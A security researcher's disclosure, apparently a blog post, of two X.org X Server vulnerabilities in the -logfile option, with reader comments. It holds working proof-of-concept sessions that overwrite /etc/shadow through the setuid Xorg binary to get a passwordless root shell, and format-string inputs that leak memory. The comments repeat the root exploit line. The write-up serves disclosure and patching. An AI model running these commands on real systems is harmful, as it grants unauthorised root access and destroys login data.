1. Arbitrary File Overwrite Vulnerability Leads to Privilege Escalation
Details:
======
X.org X Server application is vulnerable to privilege escalation issue. X.org X Server application allows lower privileged user to create or overwrite file anywhere on system , including files owned by privileged users (ex. /etc/shadow).
The attacker needs to have active console session to exploit this issue.
Test Targets:
===========
CentOS-7
[narendra@localhost ~]$ uname -a
Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux
Rhel-server-7.5
root@localhost Dev]# uname -a
Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
Tested with X.Org X Server 1.19.5.
Analysis:
=======
On CentOS and RedHat server operating systems, X.org X server executable ( /usr/bin/Xorg ) is assigned with "root setuid" permission.
[Dev@localhost ~]$ ls -la /usr/bin/Xorg
-rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg
In X.org X server application, LogInit() function prepares setup for logging activities. X.org X server allows user to specify logfile name using "-logfile" option.If file with same name as user provided "<logfile>" is already present on system then, its renamed to "<logfile>.old".
Once this is done a new file is created with user provided "<logfile>" name using fopen() call as below,
Xorg-Server/os/log.c
244 const char *
245 LogInit(const char *fname, const char *backup)
246 {
247 char *logFileName = NULL;
248
249 if (fname && *fname) {
250 if (displayfd != -1) {
251 /* Display isn't set yet, so we can't use it in filenames yet. */
252 char pidstring[32];
253 snprintf(pidstring, sizeof(pidstring), "pid-%ld",
254 (unsigned long) getpid());
255 logFileName = LogFilePrep(fname, backup, pidstring);
256 saved_log_tempname = logFileName;
257
258 /* Save the patterns for use when the display is named. */
259 saved_log_fname = strdup(fname);
260 if (backup == NULL)
261 saved_log_backup = NULL;
262 else
263 saved_log_backup = strdup(backup);
264 } else
265 logFileName = LogFilePrep(fname, backup, display);
266 if ((logFile = fopen(logFileName, "w")) == NULL)
267 FatalError("Cannot open log file \"%s\"\n", logFileName);
268 setvbuf(logFile, NULL, _IONBF, 0);
269
270 logFileFd = fileno(logFile);
stat("mylogfile", 0x7ffcb9654ed0) &n-1 ENOENT (No such file or directory)
open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0
From strace logs its confirmed that O_EXCL flag is not set, so fopen() will create or overwrite already present file.
Exploitation:
=========
For exploitation we need to use following 3 points -
1. fopen() syscall input is user-controlled filename value
2. fopen() will create or overwrite already present file
3. /usr/bin/Xorg executable is assigned with root "setuid" permissions
/etc/shadow file overwrite
[Dev@localhost ~]$ uname -r
3.10.0-862.el7.x86_64
[Dev@localhost ~]$ Xorg -version
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 2.6.32-696.18.7.el6.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 13 February 2018 02:39:52PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
[Dev@localhost ~]
[Dev@localhost ~]$ id
uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[Dev@localhost ~]$
[Dev@localhost ~]$ cd /etc
[Dev@localhost etc]$ ls -la shadow
----------. 1 root root 1650 Oct 6 05:03 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow
cat: shadow: Permission denied
[Dev@localhost etc]$
[Dev@localhost etc]$ Xorg -logfile shadow :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 2.6.32-696.18.7.el6.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 13 February 2018 02:39:52PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Sat Oct 6 21:54:13 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
(II) Server terminated successfully (0). Closing log file.
[Dev@localhost etc]$
[Dev@localhost etc]$
[Dev@localhost etc]$ ls -la shadow
-rw-r--r--. 1 root Dev 53901 Oct 6 21:54 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ head shadow
[ 11941.870]
X.Org X Server 1.19.5
Release Date: 2017-10-12
[ 11941.870] X Protocol Version 11, Revision 0
[ 11941.870] Build Operating System: 2.6.32-696.18.7.el6.x86_64
[ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
[ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
[ 11941.870] Build Date: 13 February 2018 02:39:52PM
[ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
[ 11941.870] Current version of pixman: 0.34.0
[Dev@localhost etc]$
Gain root privileges
[Dev@localhost ~]$ id
uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[Dev@localhost ~]$
[Dev@localhost ~]$ cd /etc
[Dev@localhost etc]$
[Dev@localhost etc]$ ls -la shadow
----------. 1 root root 1241 Oct 10 01:15 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow
cat: shadow: Permission denied
[Dev@localhost etc]$
[Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
(II) Server terminated successfully (0). Closing log file.
[Dev@localhost etc]$ ls -la shadow
-rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow | grep "root::"
root::16431:0:99999:7:::
[Dev@localhost etc]$
[Dev@localhost etc]$
[Dev@localhost etc]$ su
[root@localhost etc]#
[root@localhost etc]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2. Format String Vulnerability
Details:
======
X.org X Server application configuration option "-logfile" is vulnerable to format string vulnerability.
Analysis:
=======
The user controlled tainted data flow -
stubmain.c
int dix_main(int argc, char *argv[], char *envp[]);
/*
A default implementation of main, which can be overridden by the DDX
*/
int
main(int argc, char *argv[], char *envp[])
{
return dix_main(argc, argv, envp); // user controlled parameters in argv
dix/main.c
int
dix_main(int argc, char *argv[], char *envp[])
{
int i;
HWEventQueueType alwaysCheckForInput[2];
....
OsInit(); <= /* Perform any operating system dependent initializations you'd like */
os/osinit.c
void OsInit(void)
{
.....
/*
* No log file by default. OsVendorInit() should call LogInit() with the
* log file name if logging to a file is desired.
*/
OsVendorInit();
hw/xfree86/common/xf86Init.c
void
OsVendorInit(void)
{
...
if (!beenHere) {
umask(022);
xf86LogInit();
}
hw/xfree86/common/xf86Helper.c
void
xf86LogInit(void)
{
...
xf86LogFile = LogInit(xf86LogFile, LOGOLDSUFFIX);
os/log.c
const char *
LogInit(const char *fname, const char *backup)
{
...
logFileName = LogFilePrep(fname, backup, pidstring);
...
}
static char *
LogFilePrep(const char *fname, const char *backup, const char *idstring)
{
char *logFileName = NULL;
...
if (asprintf(&logFileName, fname, idstring) == -1)
FatalError("Cannot allocate space for the log file name\n");
...
In above code, "fname" contains user controlled malicious input which is passed to asprintf() function results into format string vulnerability.
Exploitation:
==========
Tested on CentOS 7
[developer@localhost test]$ uname -a
Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[developer@localhost test]$
[developer@localhost test]$
[developer@localhost test]$ Xorg -version
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
[developer@localhost test]$
[developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%s.%s.%s.%s.%s.%s.%s.%s.%s.%s :1
(EE)
(EE) Backtrace:
(EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x55770e41f135]
(EE) 1: /usr/bin/Xorg (0x55770e271000+0x1b1ec9) [0x55770e422ec9]
(EE) 2: /lib64/libpthread.so.0 (0x7f1908866000+0xf6d0) [0x7f19088756d0]
(EE) 3: /lib64/libc.so.6 (_IO_vfprintf+0x4a79) [0x7f19084e5f19]
(EE) 4: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f19085b1085]
(EE) 5: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f19085b0fc2]
(EE) 6: /usr/bin/Xorg (0x55770e271000+0x1bb655) [0x55770e42c655]
(EE) 7: /usr/bin/Xorg (LogInit+0x19f) [0x55770e42c92f]
(EE) 8: /usr/bin/Xorg (xf86LogInit+0x47) [0x55770e310cc7]
(EE) 9: /usr/bin/Xorg (OsVendorInit+0x29) [0x55770e307909]
(EE) 10: /usr/bin/Xorg (OsInit+0x25a) [0x55770e4231aa]
(EE) 11: /usr/bin/Xorg (0x55770e271000+0x578dc) [0x55770e2c88dc]
(EE) 12: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f19084bb445]
(EE) 13: /usr/bin/Xorg (0x55770e271000+0x41c7e) [0x55770e2b2c7e]
(EE)
(EE) Segmentation fault at address 0x5
(EE)
Fatal server error:
(EE) Caught signal 11 (Segmentation fault). Server aborting
[developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx :1
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "xf86LogFile.7fff8bf88556.7fff8bf85fa0.7fff8bf85e50.7fff8bf85010.0.5585766edf18.7efdfefd4e98.5.3000000030.7fff8bf84ff0", Time: Thu Oct 11 20:39:32 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
pci id for fd 15: 80ee:beef, driver (null)
EGL_MESA_drm_image required.
^C(II) Server terminated successfully (0). Closing log file.
developer@localhost test]$ /usr/bin/Xorg -logfile xf86LogFile.%n.%n.%n.%n :1
*** %n in writable segment detected ***
(EE)
(EE) Backtrace:
(EE) 0: /usr/bin/Xorg (xorg_backtrace+0x55) [0x563e94de6135]
(EE) 1: /usr/bin/Xorg (0x563e94c38000+0x1b1ec9) [0x563e94de9ec9]
(EE) 2: /lib64/libpthread.so.0 (0x7f0068f28000+0xf6d0) [0x7f0068f376d0]
(EE) 3: /lib64/libc.so.6 (gsignal+0x37) [0x7f0068b91277]
(EE) 4: /lib64/libc.so.6 (abort+0x148) [0x7f0068b92968]
(EE) 5: /lib64/libc.so.6 (0x7f0068b5b000+0x78d37) [0x7f0068bd3d37]
(EE) 6: /lib64/libc.so.6 (__libc_fatal+0x1e) [0x7f0068bd3e1e]
(EE) 7: /lib64/libc.so.6 (_IO_vfprintf+0x2b76) [0x7f0068ba6016]
(EE) 8: /lib64/libc.so.6 (__vasprintf_chk+0xb5) [0x7f0068c73085]
(EE) 9: /lib64/libc.so.6 (__asprintf_chk+0x82) [0x7f0068c72fc2]
(EE) 10: /usr/bin/Xorg (0x563e94c38000+0x1bb655) [0x563e94df3655]
(EE) 11: /usr/bin/Xorg (LogInit+0x19f) [0x563e94df392f]
(EE) 12: /usr/bin/Xorg (xf86LogInit+0x47) [0x563e94cd7cc7]
(EE) 13: /usr/bin/Xorg (OsVendorInit+0x29) [0x563e94cce909]
(EE) 14: /usr/bin/Xorg (OsInit+0x25a) [0x563e94dea1aa]
(EE) 15: /usr/bin/Xorg (0x563e94c38000+0x578dc) [0x563e94c8f8dc]
(EE) 16: /lib64/libc.so.6 (__libc_start_main+0xf5) [0x7f0068b7d445]
(EE) 17: /usr/bin/Xorg (0x563e94c38000+0x41c7e) [0x563e94c79c7e]
(EE)
(EE)
Fatal server error:
(EE) Caught signal 6 (Aborted). Server aborting
(EE)
(EE)
Please consult the The X.Org Foundation support at http://wiki.x.org for help.
(EE)
*** %n in writable segment detected *** confirms that security hardening mechanism FORTIFY_SOURCE is enabled. So impact is minimized, this issue leads to sensitive system information leakage.
Acknowledgments:
==============
I would like to thank X.org and Red Hat Product Security team.
Fix Information:
=============
https://lists.x.org/archives/xorg-announce/2018-October/002927.html
https://lists.x.org/archives/xorg-announce/2018-October/002928.html
Timeline:
========
2018-10-10: Contacted secalert@redhat.com
2018-10-12: Contacted X.org Team
2018-10-25: Coordinated Release Date (Time: 14:00 UTC)
If we remove setuid bit to /usr/bin/Xorg does it fix that vulnerability or does it bring other problems with Xorg ?
ReplyDeleteThat's what X.org suggested as a workaround. Please refer "workaround" section - https://www.openwall.com/lists/oss-security/2018/10/25/1.
ReplyDeleteHey man, I just tried using the exploit you posted on Twitter and now I can't log back in to my account. When you overwrite the /etc/shadow file, what is the new password of your account?
ReplyDeleteIf you are using " Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1" , no password is required for root user , just use "su" command.
ReplyDeleteYes, shadow file will be overwritten by garbage value so other users wont able to login. If needed, using root privileges you can revert your previous shadow file using backup located at /etc/shadow-.
Unfortunately I only had the default user (osboxes). The only options I have at the moment is:
Delete1) Using the OS as a guest
2) Accessing GRUB and becoming root with read-only file permissions.
Do you have any more suggestions?
If possible, maybe you can try for liveCD mount. There are lot of articles on net about this.
DeleteThanks man and sorry for annoying you
DeleteTrue.
ReplyDeleteYou did a great job. Thanks for including the code .
ReplyDelete